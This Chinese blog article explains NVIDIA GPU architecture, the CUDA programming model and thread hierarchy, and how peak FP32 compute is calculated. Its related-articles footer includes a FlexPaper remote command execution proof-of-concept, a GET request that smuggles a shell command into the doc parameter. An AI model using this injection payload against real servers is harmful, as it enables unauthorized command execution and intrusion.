GPU 架构与 CUDA 关系 并行计算平台和编程模型 CUDA 线程层次结构 GPU 的算力是如何计算的 算力峰值

GPU 架构与 CUDA 关系

本文主要包含 NVIDIA GPU 硬件的基础概念、CUDA(Compute Unified Device Architecture)并行计算平台和编程模型,详细讲解 CUDA 线程层次结构,最后将讲解 GPU 的算力是如何计算的,这将有助于计算大模型的算力峰值和算力利用率。

GPU 硬件基础概念GPU 架构与 CUDA 的关系紧密相连,两者共同构成了 NVIDIA 在并行计算领域的核心技术。下面,我将分别介绍 NVIDIA GPU 硬件的基础概念、CUDA 并行计算平台和编程模型,以及 CUDA 线程层次结构,并解释 GPU 算力的计算方法。

一、NVIDIA GPU 硬件基础概念

GPU(图形处理单元)是一种专为图形渲染而设计的处理器。与传统的 CPU 相比,GPU 拥有更多的核心和更高的内存带宽,使其在处理大规模并行计算任务时具有显著优势。NVIDIA 的 GPU 架构通常包括多个流处理器(Streaming Multiprocessors,SMs),每个 SM 包含多个核心和内存控制器,用于执行并行计算任务。

二、CUDA 并行计算平台和编程模型

CUDA(Compute Unified Device Architecture)是 NVIDIA 开发的一种并行计算平台和编程模型,它允许开发者使用 C/C++ 语言编写程序,充分利用 GPU 的并行计算能力。CUDA 编程模型将 GPU 视为一个设备(device),而 CPU 则作为主机(host)。主机负责任务调度和数据传输,而设备则负责执行并行计算任务。

三、CUDA 线程层次结构

CUDA 的线程层次结构包括网格(grid)、块(block)和线程(thread)。一个网格包含多个块,每个块包含多个线程。这些线程在 GPU 上并行执行,以完成计算任务。开发者可以通过调整网格、块和线程的大小和数量来优化并行计算性能。

四、GPU 算力计算

GPU 的算力通常通过浮点运算能力来衡量,具体指标包括单精度浮点运算能力(FP32)和双精度浮点运算能力(FP64)。算力计算通常涉及以下几个关键参数:

核心频率(Core Clock):GPU 核心的运行速度,以兆赫兹(MHz)为单位。
核心数量:GPU 中用于执行计算任务的核心数量。
显存带宽(Memory Bandwidth):GPU 与显存之间数据传输的速度,以每秒传输的数据量(GB/s)为单位。
通过综合考虑这些参数,可以计算出 GPU 的理论峰值算力。例如,对于单精度浮点运算,算力峰值可以通过以下公式计算:

算力峰值(FP32) = 核心频率 × 核心数量 × 每个核心的单精度浮点运算能力

需要注意的是,实际算力利用率会受到多种因素的影响,如任务调度、内存访问模式等。因此,在实际应用中,需要根据具体任务和数据集来优化 CUDA 程序,以充分发挥 GPU 的性能。

总结:GPU 架构与 CUDA 之间的关系是相辅相成的。NVIDIA 的 GPU 架构为并行计算提供了强大的硬件支持,而 CUDA 则提供了一种高效的编程模型,使开发者能够充分利用 GPU 的性能。通过深入了解 CUDA 线程层次结构和 GPU 算力计算方法,我们可以更好地优化大模型的计算性能,提高算力利用率。

A100 GPU 架构中 GPC(Graphic Processing Cluster)表示图像处理簇,一共有 8 个。共有两个 L2 Cache 并且可以互相实现数据同步,通过 Memory Controller 实现与高带宽存储器 HBM2(High Bandwidth Memory)进行数据交换。

每个 GPC 中包含 TPC(Texture processing cluster)表示纹理处理簇,每个处理簇被分为多个 SM(Streaming Multiprocessors)流处理器,SM 中包含多个 CUDA core 和 Tensor Core,用于处理图形图形和 AI 张量计算。

SM(Streaming Multiprocessors)称作流式多处理器,核心组件包括 CUDA 核心、共享内存、寄存器等。SM 包含很多为线程执行数学运算的 core,是英伟达 GPU 的核心,在 CUDA 中可以执行数百个线程、一个 block 上线程放在同一个 SM 上执行,一个 SM 有限的 Cache 制约了每个 block 的线程数量。

SM 主要组成如表所示,以英伟达 GP 100 为例,一共有 64 个 CUDA Core,Register File 存储大小为 256 KB,Shared Memory 内存大小为 64 KB,Active Thread 总线程数量是 2048,Active Block 数量是 32,Active Grid 数量是 8。

CUDA Core向量运算单元FP32-FPU、FP64-DPU、INT32-ALU
Tensor Core张量运算单元FP16、BF16、INT8、INT4
Special Function Units特殊函数单元超越函数和数学函数,例如反平方根、正余弦等
Warp Scheduler线程束调度器XX Thread/clock
Dispatch Unit指令分发单元XX Thread/clock
Multi Level Cache多级缓存L0/L1 Instruction Cache、L1 Data Cache & Shared Memory
Register File寄存器堆
Load/Store访问存储单元LD/ST,负责数据处理

SP(Streaming Processor)流处理器是最基本的处理单元,最后线程具体的指令和任务都是在 SP 上进行处理的,GPU 在进行并行计算时就是很多个 SP 同时处理。在 Fermi 架构之后,SP 被改称为 CUDA Core,通过 CUDA 来控制具体的指令执行。

在 Fermi 架构中,通过 CUDA 来控制具体的指令执行,是最小的运算执行单元。所以对于现在的 NVIDIA GPU 架构来讲,流处理器的数量就是 CUDA Core 的数量。一个 SM 中包含了 2 组各 16 个 CUDA Core,每个 CUDA Core 包含了一个整数运算单元 ALU(Arthmetic Logit Unit)和一个浮点运算单元 FPU(Floating Point Unit)。

Volta 架构取消 CUDA core,变为单独的 FP32 FPU 和 INT32 ALU,因为 FP32:INT32 是 1:1 的关系,因此还是可以将它们合并起来一起称为原来的 CUDA Core,这样做的好处是每个 SM 现在支持 FP32 和 INT32 的并发执行,同时新增了光线追踪 RT Core。

Warp 是线程束,逻辑上所有 Thread 并行执行,但是从硬件的角度讲并不是所有的 Thread 能够在同一时刻执行,因此引入 Warp。Warp 是 SM 基本执行单元,一个 Warp 包含 32 个并行 Thread(warp_size=32),这 32 个 Thread 执行 SIMT(Single Instruction Multiple Thread)指令模式。

也就是说,所有的 Thread 以锁步的方式执行同一条指令,但是每个 Thread 会使用各自的 Data 执行指令分支。如果在 Warp 中没有 32 个 Thread 需要工作,那么 Warp 虽然还是作为一个整体运行,但这部分 Thread 是处于非激活状态。此外,Thread 是最小的逻辑单位,Warp 是硬件执行单位。

CUDA 基本概念

2006 年 11 月,NVIDIA 推出 CUDA(Compute Unified Device Architecture),通用并行计算架构(Parallel Computing Architecture)和编程模型(Programming Model),利用 GPU 的并行处理能力,将 GPU 用作通用并行计算设备,以加速各种计算任务,而不仅限于图形处理。

CUDA 编程模型允许开发人员在 GPU 上运行并行计算任务,基于 LLVM 构建了 CUDA 编译器,开发人员可以使用 CUDA C/C++语言编写并行程序,通过调用 CUDA API 将计算任务发送到 GPU 执行。CUDA 编程模型包括主机(CPU)和设备(GPU)之间的协作,此外还提供了对其它编程语言的支持,比如 C/C++,Python,Fortran 等语言,支持 OpenCL 和 DirectCompute 等应用程序接口。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

CUDA 在软件方面由一个 CUDA 库、一个应用程序编程接口(API)及其运行库(Runtime)、两个较高级别的通用数学库,即 CUFFT 和 CUBLAS 组成。CUDA TOOLKIT 包括编译和 C++核,CUDA DRIVER 驱动 GPU 负责内存和图像管理。CUDA-X LIBRARIES 主要提供了机器学习(Meachine Learning)、深度学习(Deep Learning)和高性能(High Performance Computing)计算方面的加速库,APPS & FRAMEWORKS 主要对接 Tensorflow 和 Pytorch 等框架。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

CUDA 线程层次结构

CUDA 最基本的执行单位是线程(Thread),图中每条曲线可视为单个线程,大的网格(Grid)被切分成小的网格,其中包含了很多相同线程数量的块(Block),每个块中的线程独立执行,可以通过本地数据共享实现数据交换同步。因此对于 CUDA 来讲,就可以将问题划分为独立线程块,并行解决的子问题,子问题划分为可以由块内线程并行协作解决。

CUDA 引入主机端(host)和设备(device)概念,CUDA 程序中既包含主机(host)程序也包含设备(device)程序,host 和 device 之间可以进行通信,以此来实现数据拷贝,主机负责管理数据和控制程序流程,设备负责执行并行计算任务。在 CUDA 编程中,Kernel 是在 GPU 上并行执行的函数,开发人员编写 Kernel 来描述并行计算任务,然后在主机上调用 Kernel 来在 GPU 上执行计算。

代码 cuda_host.cpp 是只使用 CPU 在 host 端实现两个矩阵的加法运算,其中在 CPU 上计算的 kernel 可看作是加法运算函数,代码中包含内存空间的分配和释放。

  • CUDA 编程基本概念

线程(Thread):CUDA 的最基本执行单位。在 GPU 上,大量的线程可以同时执行,从而实现并行计算。

块(Block):多个线程组成块。块是 CUDA 编程中的一个重要概念,它允许程序员组织和管理线程。

网格(Grid):由多个块组成。网格是 CUDA 程序在 GPU 上执行时的顶层结构。

主机端(Host):通常指 CPU 及其内存,负责控制程序的执行流程、数据的管理以及与设备的通信。

设备端(Device):指 GPU 及其内存,负责执行并行计算任务

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/830885.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Django后台项目开发实战二

我们的需求是开发职位管理系统 三个功能: 管理员发布职位候选人能浏览职位用户能投递职位 第二阶段 创建应用 jobs,实现职位数据的建模 python manage.py startapp jobs 然后再 setting .py 注册应用,只需添加应用名称到最后一行 INST…

实验报告5-Spring MVC实现页面

实验报告5-SpringMVC实现页面 一、需求分析 使用Spring MVC框架,从视图、控制器和模型三方面实验动态页面。模拟实现用户登录,模拟的用户名密码以模型属性方式存放在Spring容器中,控制器相应用户请求并映射参数,页面收集用户数据或…

Vue入门到关门之Vue介绍与使用

一、vue框架介绍 1、什么是Vue? Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层,不仅易于上手,还便于与…

【图论】图论基础

图论不同地方讲的不太一样,本文仅限作者的理解 定义 图一般由点集 V V V 和边集 E E E 组成。 对于 v ∈ V v\in V v∈V,称 v v v 为该图的一个节点。 对于 e ∈ E e\in E e∈E,一般用二元组 ( u , v ) (u,v) (u,v) 表示 e e e&…

短视频素材有哪些方法获得?推荐8个短视频素材免费资源

在这个视觉内容至关重要的时代,拥有高质量视频素材对于任何视频创作者来说都是必不可少的。视频素材不仅可以增强叙事的深度,还能显著提升观众的参与度。为了帮助你找到理想的视频素材,以下是全球范围内提供顶级视频素材的网站列表&#xff0…

基于FPGA的数字信号处理(5)--Signed的本质和作用

前言 Verilog中的signed是一个很多人用不好,或者说不太愿意用的一个语法。因为不熟悉它的机制,所以经常会导致运算结果莫名奇妙地出错。其实了解了signed以后,很多时候用起来还是挺方便的。 signed的使用方法主要有两种,其中一种…

笔记-用Python脚本启停JAR程序

用Python脚本启停JAR程序,需要用到python中的以下内置模块 subprocess 是 Python 的一个标准库模块,用于在新进程中执行子命令,获取子进程的输入/输出/错误以及返回码等os 是 Python 的一个标准库模块,它提供了与操作系统交互的功…

金融案例:统一查询方案助力数据治理与分析应用更高效、更安全

随着企业数据规模的增长和业务多元化发展,海量数据实时、多维地灵活查询变成业务常见诉求。同时多套数据库系统成为常态,这既带来了数据管理的复杂性,又加大了数据使用的难度,面对日益复杂的数据环境和严格的数据安全要求&#xf…

flexpaper 远程命令执行

flexpaper 远程命令执行 这个是有POC的,先简单复现一下 GET /ipg/static/appr/lib/flexpaper/php/view.php?doc1.docx"%26echoshell>shel233l.txt%23&pageexp&formatswf&callbackcallback&isSplittrue HTTP/1.1 Host: 192.168.50.22 Use…

Python 机器学习 基础 之 学习 基础环境搭建

Python 机器学习 基础 之 学习 基础环境搭建 目录 Python 机器学习 基础 之 学习 基础环境搭建 一、简单介绍 二、什么是机器学习 三、python 环境的搭建 1、Python 安装包下载 2、这里以 下载 Python 3.10.9 为例 3、安装 Python 3.10.9 4、检验 python 是否安装成功&…

Systemback Ubuntu14.04 制作自定义系统ISO镜像

工作需要,要基于ubuntu自定义一些编译环境并将自己配置好的ubuntu做成镜像。 硬件准备 ​ 为保证能够顺利完成系统iso镜像的制作与系统还原,推荐准备一个较大容量的U盘或者移动固态硬盘,同时确保自己的Ubuntu系统还有比较大的可用空间。 1 S…

jenkins教程

jenkins 一、简介二、下载安装三、配置jdk、maven和SSH四、部署微服务 一、简介 Jenkins是一个流行的开源自动化服务器,用于自动化软件开发过程中的构建、测试和部署任务。它提供了一个可扩展的插件生态系统,支持各种编程语言和工具。 Jenkins是一款开…

美团代付系统源码搭建ZHU16728

2024美团外卖点单代付系统源码基于php 基础开发,这套系统搭载了外卖系统属性,可添加物流信息。 1.完美对接微信支付,支付宝支付。 2.这套系统全新UI界面,完美搭建可以用作商用系统服务。 3.前端UI界面内容丰富,功能齐全…

有关CSS中排版常见问题(清除默认样式问题 + 元素居中问题 + 元素之间的空白问题 + 行内块的幽灵空白问题)

前言:在练习CSS排版的时候,我们经常会遇到一些排版上的问题,那么我们如何去解决这些问题呢?本篇文章给出了一些新手在练习排版时候可能会遇到的问题的解决方案。 ✨✨✨这里是秋刀鱼不做梦的BLOG ✨✨✨想要了解更多内容可以访问我…

【消息队列】RabbitMQ五种消息模式

RabbitMQ RabbitMQRabbitMQ安装 常见的消息模型基本消息队列SpringAMQPWorkQueue消息预取发布订阅模式Fanout ExchangeDirectExchangeTopicExchange 消息转换器 RabbitMQ RabbitMQ是基于Erlang语言开发的开源消息通信中间件 官网地址:https://www.rabbitmq.com/ R…

【VUE】Vue中实现树状表格结构编辑与版本对比的详细技术实现

Vue中实现树状表格结构编辑与版本对比的详细技术实现 在Vue中,创建一个可编辑的树状表格并实施版本对比功能是一种需求较为常见的场景。在本教程中,我们将使用Vue结合Element UI的el-table组件,来构建一个树状表格,其中包含添加、…

深入探究C++四大关键特性:初始化列表、友元函数、内部类与static成员

目录 1. 构造函数不为人知的那些事 1.1 构造函数体赋值与初始化列表对比 1.2 explicit关键字与构造函数隐式转换 2. static成员 2.1 static成员的概念 2.2 static成员的特性与应用 2.3 小结 3. C11 成员变量初始化新用法 4. 友元 4.1 友元函数 4.2 友元类 5. 内部类…

Python 中的花卉矩阵组合

使用场景描述 (rib) 协议编写脚本的基础知识。通过创建在 3D 空间中转换的基本几何图形,解决了 xyz 坐标系的基础知识。初步渲染是使用基本着色完成的,因此可以更容易地看到几何体。RenderMan 图1 图 1 是我作为作业参考的示例图片,并尝试匹配 中的图片。为了完成这项任务…

Python | Leetcode Python题解之第61题旋转链表

题目: 题解: class Solution:def rotateRight(self, head: ListNode, k: int) -> ListNode:if k 0 or not head or not head.next:return headn 1cur headwhile cur.next:cur cur.nextn 1if (add : n - k % n) n:return headcur.next headwhi…

机器学习的两种典型任务

机器学习中的典型任务类型可以分为分类任务(Classification)和回归任务(Regression) 分类任务 回归任务 简单的理解,分类任务是对离散值进行预测,根据每个样本的值/特征预测该样本属于类 型A、类型B 还是类…